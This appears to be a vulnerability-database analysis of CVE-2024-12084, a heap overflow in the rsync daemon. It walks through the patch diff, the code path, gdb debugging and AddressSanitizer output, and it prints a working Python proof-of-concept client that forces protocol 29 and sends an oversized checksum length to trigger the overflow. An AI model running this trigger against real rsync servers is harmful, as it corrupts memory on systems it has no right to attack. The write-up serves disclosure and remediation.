Attacker Value
High
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
5

CVE-2024-12084

Disclosure Date: January 15, 2025
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.

Add Assessment

4
Ratings
Technical Analysis

Based upon writing a technical analysis of this vuln, I have rated the exploitability as Medium, as exploitation of this heap based overflow is limited and will take further work to develop into a full RCE. I have rated the attacker value as High, as rsync is a widely used file transfer/backup application and the vulnerability can be exploited without authentication in some configurations.

Note: a recent Google analysis states that chaining this issue with CVE-2024-12085 (an info leak), allows an attacker to defeat ASLR and hence increases the exploitability of this issue.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Additional Info

Technical Analysis

Overview

On January 14, 2025, 6 vulnerabilities within rsync were disclosed via the oss-security mailing list. Of the 6 vulnerabilities, the most severe was a heap-based buffer overflow, CVE-2024-12084, which has been present since version 3.2.7 of rsync was released in October 2022. An attacker can leverage this vulnerability to arbitrarily write 48 bytes outside the bounds of the sum2 buffer into adjacent heap memory, with the potential to trigger remote code execution. If the targeted rsync module is configured for read-only access, this issue can be exploited by unauthenticated anonymous clients; otherwise, authentication is required. CVE-2024-12084 and the other 5 vulnerabilities announced in January 2025 were fixed in version 3.4.0 of rsync.

A Shodan search for rsync default port 873 shows 850,036 exposed rsync servers. There has been no known exploitation of this vulnerability in the wild as of February 20, 2025.

Analysis

Patch review

The description of the vulnerability in the advisory gave us some clues as to what to focus on when looking at the changes between the vulnerable and fixed versions, which was useful as there were 5 other vulnerabilities fixed in the same release:

“A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.”

So the vulnerability seems to be within rsync’s handling of checksums. Rsync uses MD5 checksums (MD4 for protocol versions before 30) to identify which files should be transferred from the source to the destination. The man page for rsync has more detail.

--checksum, -c
This changes the way rsync checks if the files have been changed and are in need of a transfer. Without this option, rsync uses a "quick check" that (by default) checks if each file's size and time of last modification match between the sender and receiver. This option changes this to compare a 128-bit checksum for each file that has a matching size. Generating the checksums means that both sides will expend a lot of disk I/O reading all the data in the files in the transfer, so this can slow things down significantly (and this is prior to any reading that will be done to transfer changed files)
...

Armed with this information, we reviewed the changed code between the 3.3.0 and 3.4.0 versions of rsync. Some code in rsync.h seemed relevant:

$ diff ~/poc/rsync/rsync-3.3.0/rsync.h ~/poc/rsync/rsync-3.4.0/rsync.h 
86a87
> #define FLAG_GOT_DIR_FLIST (1<<5)/* sender/receiver/generator - dir_flist only */
113c114
< #define PROTOCOL_VERSION 31
---
> #define PROTOCOL_VERSION 32
961d961
< 	char sum2[SUM_LENGTH];	/**< checksum  */
966a967
> 	char *sum2_array;	/**< checksums of length xfer_sum_len */

Here we can see the sum2 buffer within a sum_buf struct defined with a length of SUM_LENGTH, which is also defined in rsync.h:

#define SUM_LENGTH 16

The fixed version of rsync (on the right in the diff above) has removed sum2 from the sum_buf struct and created a new array (sum2_array) in the sum_struct for handling checksums. This lined up with the advisory and gave us confidence that the sum2 buffer within the sum_buf struct was the buffer where the overflow was taking place.

Another change in the code that seemed pertinent to the fix was found in the read_sum_head() function within io.c:

$ diff ~/poc/rsync/rsync-3.3.0/io.c ~/poc/rsync/rsync-3.4.0/io.c 
57a58
> extern int xfer_sum_len;
1980c1981
< 	if (sum->s2length < 0 || sum->s2length > MAX_DIGEST_LEN) {
---
> 	if (sum->s2length < 0 || sum->s2length > xfer_sum_len) {

We can see in the code snippet above that the sum->s2length variable is being read from the client socket if the protocol version is greater than or equal to 27. In the vulnerable code, a condition in the if statement checks that the variable is greater than 0 and less than MAX_DIGEST_LEN (64). In the fixed version, this is removed and replaced with comparison of xfer_sum_len instead.

Considering that the advisory mentioned the s2length variable in relation to the sum2 buffer (which we know has a length of 16), and that the s2length variable was entirely controlled by the client, this seemed a likely source of tainted data that could be leveraged to exploit the vulnerability.

Follow the code

Checking for usages of read_sum_head() in the vulnerable code leads us to the receive_sums() function within sender.c:

/**
 * Receive the checksums for a buffer
 **/
static struct sum_struct *receive_sums(int f)
{
	struct sum_struct *s = new(struct sum_struct); // sum_struct initialised
	int lull_mod = protocol_version >= 31 ? 0 : allowed_lull * 5;
	OFF_T offset = 0;
	int32 i;

	read_sum_head(f, s); // sum_struct data from socket (including s2length) 

       // ...
       
	if (s->count == 0) // sum_struct->count must be > 0 
		return(s);

	s->sums = new_array(struct sum_buf, s->count);

	for (i = 0; i < s->count; i++) {
		s->sums[i].sum1 = read_int(f);
		read_buf(f, s->sums[i].sum2, s->s2length); // s2length tainted

The code snippet shows the sum_struct being initialised and constructed with data from the client socket, including the s2length field, in read_sum_head(). If the count field in the struct is greater than 0, the flow proceeds into a loop where the read_buf() function is called with the sum2 buffer and the tainted user-controlled s2length value. Following the flow into read_buf(), the buffer and the tainted len variable are passed into raw_read_buf(), which ultimately ends in a call to memcpy(), which seemed likely to be the buffer overflow sink.

void read_buf(int f, char *buf, size_t len)
{
	// ...

	if (!IN_MULTIPLEXED) { 
		raw_read_buf(buf, len);
		total_data_read += len;
		if (forward_flist_data)
			write_buf(iobuf.out_fd, buf, len);
	  batch_copy:
		if (f == write_batch_monitor_in)
			safe_write(batch_fd, buf, len);
		return;
	}

// ...

static void raw_read_buf(char *buf, size_t len)
{
	size_t pos = iobuf.in.pos;
	char *data = perform_io(len, PIO_INPUT_AND_CONSUME);
	if (iobuf.in.pos <= pos && len) {
		size_t siz = len - iobuf.in.pos;
		memcpy(buf, data, siz);
		memcpy(buf + siz, iobuf.in.buf, iobuf.in.pos);
	} else
		memcpy(buf, data, len);
}

Dynamic analysis

It was time to get the software running so we could perform some dynamic analysis and confirm the flow of the code using gdb. We had to use a commit after the version 3.3.0 tag — it wasn’t possible to build rsync from the 3.3.0 release due to an issue with the popt library, which was fixed in this pull request.

We added flags to the compiler to disable optimisation and enable the AddressSanitiser:

CFLAGS="-O0 -fsanitize=address -fno-omit-frame-pointer -g" ./configure

Having compiled the software, we created an /etc/rsynd.conf file to define a read-only file share on the server that could be accessed by anonymous users:

pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsync.log
use chroot = false
uid = root
gid = root

[files_anon]
path = /home/calum/public_rsync
comment = RSYNC FILES
read only = true
timeout = 300

Using gdb, we set a breakpoint at line 100 of sender.c to step through the code flow. After stepping into the read_buf() function, it was clear that the raw_read_buf() function was not being called because the condition in the if statement immediately preceding the call (!IN_MULTIPLEXED) was not satisfied.

(gdb) set follow-fork-mode child
(gdb) b sender.c:100
Breakpoint 1 at 0x5b7aedc8174a: file sender.c, line 100.
(gdb) c
Continuing.

Thread 2.1 "rsync" hit Breakpoint 1, receive_sums (f=4) at sender.c:100
100			read_buf(f, s->sums[i].sum2, s->s2length);
(gdb) step
read_buf (f=4, buf=0x5b7b0cff60a6 "", len=33) at io.c:1889
1889		if (f != iobuf.in_fd) {
(gdb) next
1895		if (!IN_MULTIPLEXED) {
(gdb) next
1909			while (!iobuf.raw_input_ends_before)

Revisiting the code, the IN_MULTIPLEXED macro was defined as such:

#define IN_MULTIPLEXED (iobuf.in_multiplexed != 0)

So iobuf.in_multiplexed must be 0 to satisfy the if statement and reach the vulnerable path. The variable is initialised as 0, but there are a few places in the code that set it to another value, the earliest of which is io_start_multiplex_in().

/* Setup for multiplexing a MSG_* stream with the data stream. */
void io_start_multiplex_in(int fd)
{
	if (msgs2stderr == 1 && DEBUG_GTE(IO, 2))
		rprintf(FINFO, "[%s] io_start_multiplex_in(%d)\n", who_am_i(), fd);

	iobuf.in_multiplexed = 1; /* See also IN_MULTIPLEXED */
	io_start_buffering_in(fd);
}

This function is called in the start_server() function in main.c, if need_messages_from_generator is true.

void start_server(int f_in, int f_out, int argc, char *argv[])
{
	// ...

	if (am_sender) {
		keep_dirlinks = 0; 
		if (need_messages_from_generator)
			io_start_multiplex_in(f_in);
		else
			io_start_buffering_in(f_in); // Vulnerable path
		recv_filter_list(f_in);
		do_server_sender(f_in, f_out, argc, argv);
	} else
		do_server_recv(f_in, f_out, argc, argv);

The need_messages_from_generator variable is set in compat.c, in the setup_protocol() function, if the protocol version is 30 or greater:

} else if (protocol_version >= 30) {
	// ...
	need_messages_from_generator = 1;

So if we could lower the protocol version, it should be possible to avoid need_messages_from_generator from being set to 1, and hence satisfy the !IN_MULTIPLEXED condition. As the client can force the protocol version, we tested this theory by changing the rsync client command to the following to force the use of protocol version 29:

./rsync -v -r --links --safe-links --protocol 29 rsync://192.168.178.93/files_anon /tmp/rsync_share/

Using gdb again on the server, we set another breakpoint at line 100 of sender.c to follow the code flow. This time, the condition was satisfied and the application called raw_read_buf(), eventually ending in a memcpy() call as expected!

Thread 2.1 "rsync" hit Breakpoint 1, receive_sums (f=4) at sender.c:100
100			read_buf(f, s->sums[i].sum2, s->s2length);
(gdb) s
read_buf (f=4, buf=0x6408adcdaf26 "", len=2) at io.c:1889
1889		if (f != iobuf.in_fd) {
(gdb) n
1895		if (!IN_MULTIPLEXED) {
(gdb) n
1896			raw_read_buf(buf, len);
(gdb) s
raw_read_buf (buf=0x6408adcdaf26 "", len=2) at io.c:922
922		size_t pos = iobuf.in.pos;
(gdb) n
923		char *data = perform_io(len, PIO_INPUT_AND_CONSUME);
(gdb) n
924		if (iobuf.in.pos <= pos && len) {
(gdb) n
929			memcpy(buf, data, len);

Rsync client

We used Wireshark to capture the TCP stream between the rsync client and server and created a Python script to create a basic rsync client, emulating protocol version 29. With this we were able to send arbitrary s2length values.

import argparse
import socket
import struct


def get_socket(host, port, timeout=2000):
    try:
        s = socket.create_connection((host, port), timeout)
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        return s
    except Exception as e:
        print('Couldnt connect to the socket: %s' % (e))
        return None

def req_response(sock, payload, expect_resp=True, do_req=True):
    len_sent = 0
    if do_req:
        try:
            len_sent = sock.send(payload)
        except Exception as e:
            print('Exception sending payload to socket: %s' % (e))
            return
    # print(f'Sent {len_sent} bytes')
    if not expect_resp:
        return len_sent
    else:
        bytes_rcvd = bytearray()
        while True:
            rcvd = sock.recv(1024)
            bytes_rcvd.extend(rcvd)
            if len(rcvd) < 1024:
                break
        #print(f'Received {len(bytes_rcvd)} bytes')
        return bytes_rcvd

def write_sum_head(sock, s2length):
    # count must be > 0 to reach the vuln path
    count = 1
    blength = 700
    remainder = 4
    print(f'Sending sum_struct request with s2length of {s2length}..')
    # The following byes precede the sum_struct
    sum_head_payload = bytearray(b'\x02\x00\x00\x00\x08\x80')
    sum_struct = struct.Struct('@4i')
    sum_struct_payload = bytearray(sum_struct.size)
    sum_struct.pack_into(sum_struct_payload, 0, count, blength, s2length, remainder)
    # Append the packed sum_struct payload
    sum_head_payload.extend(sum_struct_payload)
    # These bytes follow the sum_struct: [12 01 22 03 63 9c ff ff ff ff]
    sum_head_payload.extend(b'\x12\x01\x22\x03\x63\x9c\xff\xff\xff\xff')
    if s2length > 2:
        # Pad the payload
        sum_head_payload.extend(b'A' * s2length)
    sum_struct_resp = req_response(sock, sum_head_payload)
    if not sum_struct_resp:
        print('Bad response from sum_struct request')
        return False
    print(f'sum_struct response: {sum_struct_resp}')
    return True

def main(host, port, s2len):
    # Protocol emulates v29
    s = get_socket(host, port)
    if not s:
        print('Could not connect to server')
        return
    print('Connected to %s:%d' % (host, port))
    print('Sending hello..')
    # Payload must end in newline
    hello_resp = req_response(s, b'@RSYNCD: 29.0 sha512 sha256 sha1 md5 md4\n')
    if not hello_resp or b'@RSYNCD' not in hello_resp:
        print('Bad response from server initialization')
        return
    print(f'Hello response: {hello_resp}')
    print('Sending module/share request..')
    # Payload must end in newline
    mod_resp = req_response(s, b'files_anon\n')
    if not mod_resp or b'@RSYNCD: OK' not in mod_resp:
        print('Bad response from module request')
        return
    print(f'Module response: {mod_resp}')
    print('Send --server and --sender args..')
    req_response(s, b'--server\n', expect_resp=False)
    # --sender args are separated with newlines
    sender_payload = bytearray()
    for arg in (b'--sender\n', b'-vlr\n', b'--safe-links\n'):
        sender_payload.extend(arg)
    # Args are followed by a single period char and another newline char before the module path
    sender_payload.extend(b'.')
    sender_payload.extend(b'\x0a')
    sender_payload.extend(b'files_anon/')
    # Finishing with two newline chars
    sender_payload.extend(b'\x0a\x0a')
    args_resp = req_response(s, sender_payload)
    if not args_resp or b'\x67' not in args_resp:
        print('Bad response from sending args')
        return
    print(f'Args response: {args_resp}')
    # After a good args response send hex [00 00 00 00]
    req_response(s, b'\x00\x00\x00\x00')
    # Second response looks like a remote file listing
    flist_resp = req_response(s, None, do_req=False)
    if not flist_resp:
        print('Bad file list response')
        return
    print(f'File list response: {flist_resp}')
    # Write the sum header!
    if not write_sum_head(s, s2len):
        return
    # Next [ff ff ff ff ff ff ff ff]
    final_resp = req_response(s, b'\xff\xff\xff\xff\xff\xff\xff\xff')
    if not final_resp:
        print('Bad final response')
        return
    # Finally sign off with [ff ff ff ff]
    req_response(s, b'\xff\xff\xff\xff', expect_resp=False)

if __name__ == '__main__':
    print('rsync client [CVE-2024-12084]')
    '''
        Emulates the traffic (observed in Wireshark) for the following command:
        ./rsync -v -r --links --safe-links --protocol 29 rsync://192.168.178.93/files_anon /tmp/rsync_share/
        
        --len of > 18 and < 65 causes an asan error: AddressSanitizer: heap-buffer-overflow on address 0x5040000017b8 at pc 0x730f9c4fb303
    '''
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', type=str, help="Target host", required=True)
    ap.add_argument('--port', type=int, help="Target port (default 873)", default=873)
    ap.add_argument('--len', type=int, help="Length of the s2length struct property (default 2)", default=2)
    args = ap.parse_args()
    main(args.host, args.port, args.len)

We ran the server with the flag –no-detach to prevent the child process from being spawned and used the Python client to send an s2length of 64 with the command:

$ python rscli29.py --host 192.168.178.93 --len 64
rsync client [CVE-2024-12084]
Connected to 192.168.178.93:873
Sending hello..
Hello response: bytearray(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4\n')
Sending module/share request..
Module response: bytearray(b'@RSYNCD: OK\n')
Send --server and --sender args..
Args response: bytearray(b'\xd4%\xf7g')
File list response: bytearray(b'=\x00\x00\x07\x19\x01.\x00\x10\x00\x00V\xf0\xadg\xfdA\x00\x00\x1a\x0brsync_share\x00\x10\x00\x000\x11\xaeg\xb8\x0b\t/test.txt\x04\x00\x00\x00\xb4\x81\x00\x00\x00\x00\x00\x00\x00')
Sending sum_struct request with s2length of 64..
Bad response from sum_struct request

On the server we observed an AddressSanitizer error, showing a heap buffer overflow in memcpy(), confirming that we had been able to reproduce the issue.

==65550==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5040000017b8 at pc 0x730f9c4fb303 bp 0x7ffd431e1910 sp 0x7ffd431e10b8
WRITE of size 64 at 0x5040000017b8 thread T0
    #0 0x730f9c4fb302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x5dd5927947af in raw_read_buf /home/calum/git/rsync/io.c:929
    #2 0x5dd59279a8cf in read_buf /home/calum/git/rsync/io.c:1896
    #3 0x5dd59274a794 in receive_sums /home/calum/git/rsync/sender.c:100
    #4 0x5dd59274d2c2 in send_files /home/calum/git/rsync/sender.c:345
    #5 0x5dd59276a604 in do_server_sender /home/calum/git/rsync/main.c:960
    #6 0x5dd59276c784 in start_server /home/calum/git/rsync/main.c:1259
    #7 0x5dd5927e70e0 in rsync_module /home/calum/git/rsync/clientserver.c:1208
    #8 0x5dd5927e837a in start_daemon /home/calum/git/rsync/clientserver.c:1395
    #9 0x5dd5927b5c57 in start_accept_loop /home/calum/git/rsync/socket.c:608
    #10 0x5dd5927e8f6f in daemon_main /home/calum/git/rsync/clientserver.c:1536
    #11 0x5dd59276fd3d in main /home/calum/git/rsync/main.c:1823
    #12 0x730f9b82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x730f9b82a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #14 0x5dd59270e324 in _start (/home/calum/git/rsync/rsync+0x4d324) (BuildId: 434b90b92dcb94bf2a3d1666ef2a4b92fe06bbf8)

0x5040000017b8 is located 0 bytes after 40-byte region [0x504000001790,0x5040000017b8)
allocated by thread T0 here:
    #0 0x730f9c4fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5dd592763303 in my_alloc /home/calum/git/rsync/util2.c:83
    #2 0x5dd59274a657 in receive_sums /home/calum/git/rsync/sender.c:96
    #3 0x5dd59274d2c2 in send_files /home/calum/git/rsync/sender.c:345
    #4 0x5dd59276a604 in do_server_sender /home/calum/git/rsync/main.c:960
    #5 0x5dd59276c784 in start_server /home/calum/git/rsync/main.c:1259
    #6 0x5dd5927e70e0 in rsync_module /home/calum/git/rsync/clientserver.c:1208
    #7 0x5dd5927e837a in start_daemon /home/calum/git/rsync/clientserver.c:1395
    #8 0x5dd5927b5c57 in start_accept_loop /home/calum/git/rsync/socket.c:608
    #9 0x5dd5927e8f6f in daemon_main /home/calum/git/rsync/clientserver.c:1536
    #10 0x5dd59276fd3d in main /home/calum/git/rsync/main.c:1823
    #11 0x730f9b82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #12 0x730f9b82a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #13 0x5dd59270e324 in _start (/home/calum/git/rsync/rsync+0x4d324) (BuildId: 434b90b92dcb94bf2a3d1666ef2a4b92fe06bbf8)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy

We have confirmed that version 3.4.0 of rsync remediates the vulnerability, as the proof of concept fails when testing against 3.4.0 and the server logs the following:

2025/02/20 11:04:59 [69202] building file list
2025/02/20 11:04:59 [69202] Invalid checksum length 64 [sender]

Remediation

CVE-2024-12084 has been resolved in version 3.4.0 of rsync. Organizations should update to the latest version when practical and refrain from exposing rsync servers to the public internet wherever possible.